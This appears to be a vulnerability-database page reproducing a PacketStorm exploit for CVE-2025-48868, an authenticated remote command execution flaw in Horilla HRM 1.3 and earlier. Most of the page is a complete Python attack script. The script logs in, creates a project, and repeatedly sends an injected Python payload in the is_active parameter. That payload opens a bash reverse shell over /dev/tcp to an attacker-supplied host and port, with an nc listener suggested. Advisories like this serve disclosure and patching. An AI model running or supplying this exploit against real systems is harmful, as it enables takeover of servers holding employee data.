PACKETSTORM 7.2 HIGH

📄 Horilla 1.3 Remote Command Execution_PACKETSTORM:218656

7.2 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Description

Horilla versions 1.3 and below suffer from a remote command execution vulnerability...
Visit Original Source

Basic Information

ID PACKETSTORM:218656
Published Apr 10, 2026 at 00:00

Affected Product

Affected Versions # Exploit Title: Horilla v1.3 - RCE
# Date: 2025-05-29
# Exploit Author: Raghad Abdallah Al-syouf
# Version: <= 1.3
# Tested on: Ubuntu / Docker
# CVE: CVE-2025-48868


Description:
This script exploits the authenticated RCE vulnerability CVE-2025-48868.
It logs into the target web app, creates a project, and sends payloads
to achieve a reverse shell connection to a listener **started manually** by the user.

Usage:
python3 CVE_2025_48868.py --url http[s]://target:port --user username --pass password --lhost YOUR_IP --lport LISTENER_PORT

Example:
python3 CVE_2025_48868.py --url http://127.0.0.1:8000 --user admin --pass admin --lhost 192.168.1.100 --lport 4444
"""

import requests
import time
import sys
import argparse
from bs4 import BeautifulSoup
import urllib3
import random
import string
from datetime import datetime

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generate_random_title():
letters = ''.join(random.choices(string.ascii_lowercase, k=4))
digits = ''.join(random.choices(string.digits, k=2))
return letters + digits

def main():
print("[+] CVE-2025-48868")

parser = argparse.ArgumentParser(description='Exploit for CVE-2025-48868: Authenticated RCE in Horilla HRM software v1.3. Exploit by:Nakleh Said Zeidan')
parser.add_argument('--url', required=True, help='Target URL, e.g. http://localhost:8000')
parser.add_argument('--user', required=True, help='Username for login')
parser.add_argument('--pass', required=True, dest='password', help='Password for login')
parser.add_argument('--lhost', required=True, help='Attacker IP (listener must be started manually)')
parser.add_argument('--lport', required=True, type=int, help='Attacker port (listener must be started manually)')

args = parser.parse_args()

base_url = args.url.rstrip('/')
login_url = f"{base_url}/login/"
project_url = f"{base_url}/project/project-bulk-archive"
session = requests.Session()
headers = {
"User-Agent": "Mozilla/5.0",
"X-Requested-With": "XMLHttpRequest"
}

print("[+] Getting login page...")
login_page = session.get(login_url, headers=headers, verify=False)
if login_page.status_code != 200:
print(f"[-] Failed to load login page, status {login_page.status_code}")
sys.exit(1)

soup = BeautifulSoup(login_page.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']

login_data = {
"username": args.user,
"password": args.password,
"csrfmiddlewaretoken": csrf_token
}

print("[+] Logging in...")
login_resp = session.post(login_url, data=login_data, headers=headers, verify=False)
if login_resp.status_code != 200 or "logout" not in login_resp.text.lower():
print("[-] Login failed")
sys.exit(1)
print("[+] Logged in successfully!")

project_view_url = f"{base_url}/project/project-view/"
project_view = session.get(project_view_url, headers=headers, verify=False)
soup = BeautifulSoup(project_view.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']

print("[+] Creating project...")
create_project_url = f"{base_url}/project/create-project?"
today_str = datetime.now().strftime("%Y-%m-%d")
random_title = generate_random_title()
multipart_data = {
"is_active": "on",
"title": random_title,
"managers": "1",
"members": "1",
"status": "new",
"start_date": today_str,
"end_date": today_str,
"description": "Exploit project"
}

create_headers = {
"User-Agent": "Mozilla/5.0",
"Accept": "*/*",
"Referer": project_view_url,
"HX-Request": "true",
"HX-Trigger": "hlvd701Form",
"HX-Target": "hlvd701Form",
"HX-Current-URL": project_view_url,
"X-CSRFToken": csrf_token,
"Origin": base_url,
"DNT": "1",
"Connection": "keep-alive",
}

create_resp = session.post(create_project_url, data=multipart_data, headers=create_headers, verify=False)
if create_resp.status_code == 200:
print(f"[+] Project created successfully with title: {random_title}")
else:
print(f"[-] Project creation may have failed (status {create_resp.status_code}), continuing anyway...")

headers["Referer"] = project_view_url
headers["Origin"] = base_url
headers["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"

print("[*] Ensure your listener is running: `nc -lvnp {}`".format(args.lport))
print("[+] Sending payload...")

i = 1
while True:
encoded_ids = f"%5B%22{i}%22%5D"
payload = f"__import__('os').system('bash+-c+\"bash+-i+>%26+/dev/tcp/{args.lhost}/{args.lport}+0>%261\"')"
exploit_url = f"{project_url}?is_active={payload}"
data = f"csrfmiddlewaretoken={csrf_token}&ids={encoded_ids}"
response = session.post(exploit_url, headers=headers, data=data, verify=False)

if response.status_code == 200:
print(f"[+] Payload sent for project id {i}. Waiting for shell...")
else:
print(f"[-] Error sending payload for project id {i} (status {response.status_code})")

time.sleep(3)
i += 1

if __name__ == "__main__":
main()

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.